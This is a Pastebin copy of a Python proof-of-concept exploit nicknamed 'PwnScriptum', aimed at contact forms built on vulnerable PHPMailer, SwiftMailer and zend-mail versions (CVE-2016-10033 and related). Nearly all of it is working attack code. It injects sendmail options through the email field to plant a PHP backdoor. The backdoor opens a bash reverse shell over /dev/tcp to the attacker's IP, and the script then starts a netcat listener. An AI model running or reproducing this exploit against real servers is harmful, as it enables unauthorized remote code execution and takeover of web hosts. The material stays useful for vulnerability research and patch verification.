Hector_G

PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution

Feb 15th, 2017
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.13 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. intro = """\033[94m
  4.    __                     __   __  __           __                
  5.   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  6.  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
  7. / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
  8. /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
  9.           /____/                                                  
  10.  
  11.  
  12. PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
  13.              a.k.a "PwnScriptum"
  14.  
  15. CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074
  16.  
  17.  
  18. This PoC exploit aims to execute a reverse shell on the target in
  19. the context of the web-server user via vulnerable PHP email library.
  20.  
  21.  
  22. Discovered and Coded by:
  23.  
  24. \033[1;34m
  25. Dawid Golunski
  26. https://legalhackers.com
  27.  
  28. t: @dawid_golunski for updates
  29. \033[0m
  30. \033[94m
  31. P.$. For testing only! Don't break the Web ;)
  32. \033[0m
  33. """
  34. info = """
  35. [Version]
  36. Limited PoC (ver. 1.1)
  37.  
  38. [PoC Video]
  39. See the the exploit in action at:
  40.  
  41. https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
  42.  
  43. [Info]
  44. This exploit targets a common webapp component - Contact Form.
  45.  
  46. It combines payloads for the following vulns:
  47.  
  48. 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
  49. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
  50.  
  51. 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
  52. https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html
  53.  
  54. 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
  55. https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
  56.  
  57. 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
  58. https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html
  59.  
  60. [Usage]
  61.  
  62. ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
  63.                                  [-d TARGET_UP_DIR] -ip ATTACKERS_IP
  64.                                  [-p ATTACKERS_PORT] [--version]
  65.                                  [--post-action POST_ACTION]
  66.                                  [--post-name POST_NAME]
  67.                                  [--post-email POST_EMAIL]
  68.                                  [--post-msg POST_MSG]
  69.  
  70. Note, make sure the contact form matches the default field names (send/name/email/msg).
  71. Otherwise override with --post-msg=message_box for example.
  72.  
  73. """
  74.  
  75. import os
  76. import argparse
  77. import time
  78. import urllib
  79. import urllib2
  80. import socket
  81. import sys
  82.  
  83.  
  84. # The Main Meat
  85. print intro
  86.  
  87. # Show info
  88. if '-H' in sys.argv:
  89.     print info
  90.     exit(0)
  91. # Parse input args
  92. parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
  93. parser.add_argument('-H', action='store_true', default="false", required=False,    help='Full Help / Info Page')
  94. parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
  95. parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
  96. parser.add_argument('-d' ,  dest='TARGET_UP_DIR',   required=False, help='Target Upload Dir', default="upload")
  97. parser.add_argument('-ip',  dest='ATTACKERS_IP',    required=True,  help='Attackers Public IP for RevShell')
  98. parser.add_argument('-p',   dest='ATTACKERS_PORT',  required=False, help='Attackers Port for RevShell listener', default="8080")
  99. parser.add_argument('--version', action='version', version='%(prog)s 1.1 Limited PoC')
  100. parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
  101. parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
  102. parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
  103. parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
  104. args = parser.parse_args()
  105.  
  106. # Preset vars
  107. TMOUT = 3
  108. # Set Vars
  109. #if args.ATTACKERS_PORT is None:
  110. #   args.ATTACKERS_PORT = 8080
  111. #if args.TARGET_UP_DIR  is None:
  112. #   args.TARGET_UP_DIR = "upload"
  113. # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
  114. BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
  115. BACKDOOR_URL  = args.WEBAPP_BASE_URL.rstrip('/') + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
  116. CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
  117.  
  118. # Show params
  119. print """[+] Setting vars to: \n
  120. WEBAPP_BASE_URL     = [%s]
  121. CONTACT_SCRIPT      = [%s]
  122. TARGET_UP_DIR       = [%s]
  123. ATTACKERS_IP        = [%s]
  124. ATTACKERS_PORT      = [%s]
  125. CONTACT_SCRIPT_URL  = [%s]
  126. BACKDOOR_FILEl      = [%s]
  127. """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)
  128.  
  129.  
  130. print "[+] Choose your target / payload: "
  131. print "\033[1;34m"
  132. print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
  133. print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
  134.             The escapeshellarg() bypass :)\n"""
  135. print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
  136. print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
  137. print "\033[0m"
  138.  
  139. try:
  140.     target = int(raw_input('[?] Select target [1-2]: '))
  141. except ValueError:
  142.     print "Not a valid choice. Exiting\n"
  143.     exit(2)
  144. if (target>4):
  145.     print "No such target. Exiting\n"
  146.     exit(3)
  147. if target == 1:
  148.     # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
  149.     payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
  150. if target == 2:
  151.     # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
  152.     payload = "\"attacker\\' -oQ/tmp/ -X%s/%s  some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
  153. if target == 3:
  154.     # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
  155.         payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
  156. if target == 4:
  157.     # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
  158.         payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
  159.  
  160. print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
  161. # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
  162. # e.g:
  163. #RCE_PHP_CODE = "<?php phpinfo(); ?>"
  164. RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");  ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)
  165.  
  166. # The form names might need to be adjusted
  167. post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}
  168.  
  169. # Attack
  170. # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
  171. print "[+] Backdoor upload via the contact form at the URL '%s'\n" % CONTACT_SCRIPT_URL
  172. data = urllib.urlencode(post_fields)
  173. req = urllib2.Request(CONTACT_SCRIPT_URL, data)
  174. try:
  175.     urllib2.urlopen(req)
  176. except urllib2.HTTPError, e:
  177.     print "[!] Got HTTP error: [%d] when uploading the payload. Check the URL!\n\n" % e.code
  178.     exit(3)
  179. except urllib2.URLError, err:
  180.     print "[!] Got the '%s' error when uploading the payload. Check the URL!\n\n" % err.reason
  181.     exit(4)
  182.  
  183. # Check if the backdoor was uploaded correctly.
  184. # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
  185. # So we catch the timeout to find out.
  186.  
  187. # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
  188. print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
  189. got_timeout = 0
  190. http_err = 0
  191. try:
  192.     urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
  193. except urllib2.HTTPError, e:
  194.     http_err = e.code
  195. except urllib2.URLError, err:
  196.     print "Some other error happened:", err.reason
  197. except socket.timeout, e:
  198.     print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
  199.     got_timeout = 1
  200.  
  201. if (got_timeout != 1):
  202.     print "[!] Something went wrong... Error [%d]. Try another dir? Push through, don't give up! :)\n" % http_err
  203.     exit(2)
  204.  
  205. # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
  206. print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
  207. print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
  208. os.system("nc -v -l -p %s" % args.ATTACKERS_PORT)
  209.  
  210. print "\n[+] Shell closed. Removed the uploaded backdoor scripts?\n"
  211.  
  212. print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
Add Comment
Please, Sign In to add comment